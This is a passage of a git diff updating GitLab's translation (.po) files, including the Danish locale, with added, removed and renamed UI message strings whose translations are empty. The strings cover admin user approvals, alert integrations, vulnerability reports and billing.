msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr ""
-
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31516,9 +32212,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31537,6 +32230,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31561,6 +32257,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31573,6 +32272,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31714,6 +32416,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31762,6 +32467,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31771,6 +32482,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31780,6 +32494,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31954,13 +32671,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -32131,6 +32845,12 @@ msgstr[5] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -32149,9 +32869,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -32167,9 +32884,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -32212,9 +32926,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -32311,6 +33022,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32341,6 +33055,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32362,7 +33079,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32899,6 +33616,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32926,6 +33646,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32938,6 +33661,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -33031,6 +33757,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -33088,6 +33817,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -33100,9 +33832,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -33151,9 +33889,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -33184,10 +33919,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -33196,6 +33931,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -33205,6 +33943,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -33277,6 +34018,15 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index e0666e44dfc..46a606ec8d9 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:46\n"
+"PO-Revision-Date: 2020-12-03 08:15\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
